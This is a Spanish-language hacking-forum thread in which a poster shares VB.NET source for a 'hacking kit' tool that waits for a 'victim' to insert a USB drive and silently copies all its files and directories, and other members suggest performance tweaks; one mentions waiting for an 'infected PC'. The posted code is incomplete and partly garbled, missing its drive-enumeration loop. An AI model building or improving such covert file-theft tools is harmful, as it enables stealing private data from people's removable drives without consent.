Autor
|
Tema: [APORTE] Interceptar Archivos/Directorios USB (Leído 9,732 veces)
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
Buenas para quien me lea, estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera. Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET Al lío: el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...) Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple. Espero que os sirva... Source: Imports Microsoft.VisualBasic.FileIO Module Interceptar Private Sub Interceptar_Archivos(ByVal Ruta_USB As String) Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB) For Each Ruta_Archivo As String In Archivos Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1) Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)) FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo) Next End Sub Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String) Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB) For Each Ruta_Directorio As String In Directorios Console.WriteLine(Ruta_Directorio) Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\")) FileSystem.CreateDirectory(CurDir() + Directorio) FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio) Next End Sub Sub Main() Console.WriteLine("--Interceptar Archivos/Directorios USB--") Dim Ruta_USB As String = Nothing While Ruta_USB = Nothing If drive. IsReady = True And drive. DriveType = IO. DriveType. Removable Then Console.WriteLine("Se encontro un dispositivo USB") Console. WriteLine(drive. Name) Try Interceptar_Archivos(Ruta_USB) Interceptar_Carpetas(Ruta_USB) Catch ex As Exception End Try End If Next End While Console.Read() End Sub End Module
Happy Hacking
|
|
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido. Despues yo haria una funcion sola, no 2, pero eso es a gusto xD Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.
|
|
|
En línea
|
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido. Despues yo haria una funcion sola, no 2, pero eso es a gusto xD Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara. No incluí DoEvents() ya que en mi PC ni se congela la aplicación ni se retrasa ningun proceso pero sería Application.DoEvents(). Está compilado bajo el Framework 4.0, que lamentablemente Win7 no trae por defecto (trae el 3.5) Gracias por el consejo, ya me pasa en las máquinas virtuales que tengo que instalar el 4.0 siempre que trasteo con aplicaciones. Buscaré como compilar bajo 3.5, gracias Un saludo!
|
|
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Yo no probe tu codigo, pero me acuerdo que en vb6 tuve problemas asi, cuando hacia bucles para esperar que la pc infectada este conectada a internet y se me trababa la pc y me dijo Karcrack esa vez que ponga el DoEvents y se soluciono. Y si sigue estando en .net es porque habra que usarlo aun, es que tiene logica.. el bucle esta recorriendose muchisimas veces, vs tal vez has puesto el usb al poco tiempo, pero imaginate una pc que conecte el usb a las 10 horas, tu bucle seguira entrando y entrando sin dejar respirar, que es para lo que sirve el DoEvents.
Saludos
|
|
|
En línea
|
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
En vb6 por lo que me he fijado se llama bastante a DoEvents para que no se congele la aplicación, bueno en .NET esto lo consigo creando un simple Hilo, o bien llamando a DoEvents como uno quiera.
Saludos.
|
|
« Última modificación: 11 Abril 2012, 21:43 pm por kub0x »
|
En línea
|
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
He estado monitorizando el consumo de la app y es todo el rato de 2 Mb (sin llamar a DoEvents()). Luego introduzco el USB y funciona correctamente...
Por cierto, si te fijas la aplicacion es en consola, para implementar DoEvents() tendrías que añadir una referencia a System.Windows.Forms.
Un saludo.
|
|
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Si, tienes razon, no me di cuenta, y creo que es para eso mismo, para las ventanas que puede traer problemas cuando estas haciendo una operacion que demora mucho, asi que no pongas nada y ta jaja, saludos, buen aporte
|
|
|
En línea
|
|
|
|
Maurice_Lupin
Desconectado
Mensajes: 356
GPS
|
Estas utilizando sintaxis de vb6 en vb.net, según lei no es recomendable, pero funciona. Me ha tomado tiempo el paso de vb6 a vb.net. Yo supongo que con un Thread en background deberia funcionar muy bien. Saludos
|
|
|
En línea
|
Un error se comete al equivocarse.
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
La verdad nunca toqué vb6 En .NET para ejecutar esos métodos lo hago casi todas las veces mediante un hilo en vez de llamar a la función Pero gracias a dios leí hace poco sobre programación asincronica, me documenté un poco por msdn y otras y ya mucho mejor con las funciones Callback y con los Delegados. La verdad que ganas bastantes recursos y puedes ahorrarte sentencias de repetición y llamadas a DoEvents (muy vb6 ) Saludos.
|
|
|
En línea
|
|
|
|
Maurice_Lupin
Desconectado
Mensajes: 356
GPS
|
Se me ocurre, tal vez, se pueda programar algo para impedir el copiado al insertar la unidad flash, es cuestion de investigar. Saludos
|
|
|
En línea
|
Un error se comete al equivocarse.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Source] Listando directorios y archivos en C/C++
Programación C/C++
|
~~
|
7
|
29,426
|
6 Agosto 2010, 18:43 pm
por Eternal Idol
|
|
|
webbrowser como interceptar descarga de archivos y dirigirlos donde yo quiera
.NET (C#, VB.NET, ASP)
|
jagrane
|
2
|
7,832
|
23 Junio 2011, 13:53 pm
por jagrane
|
|
|
Estructura de archivos y directorios XP
Windows
|
josepeet_4
|
2
|
3,724
|
2 Diciembre 2011, 17:02 pm
por josepeet_4
|
|
|
¿Por qué Windows tiene dos directorios de Archivos de programa y uno es x86?
Noticias
|
wolfbcn
|
0
|
1,851
|
9 Junio 2015, 18:33 pm
por wolfbcn
|
|
|
[APORTE] [PowerShell] RAR.exe | Multi-Compression Test Tool (Para Directorios)
Scripting
|
Eleкtro
|
6
|
5,189
|
20 Marzo 2024, 09:34 am
por Eleкtro
|
|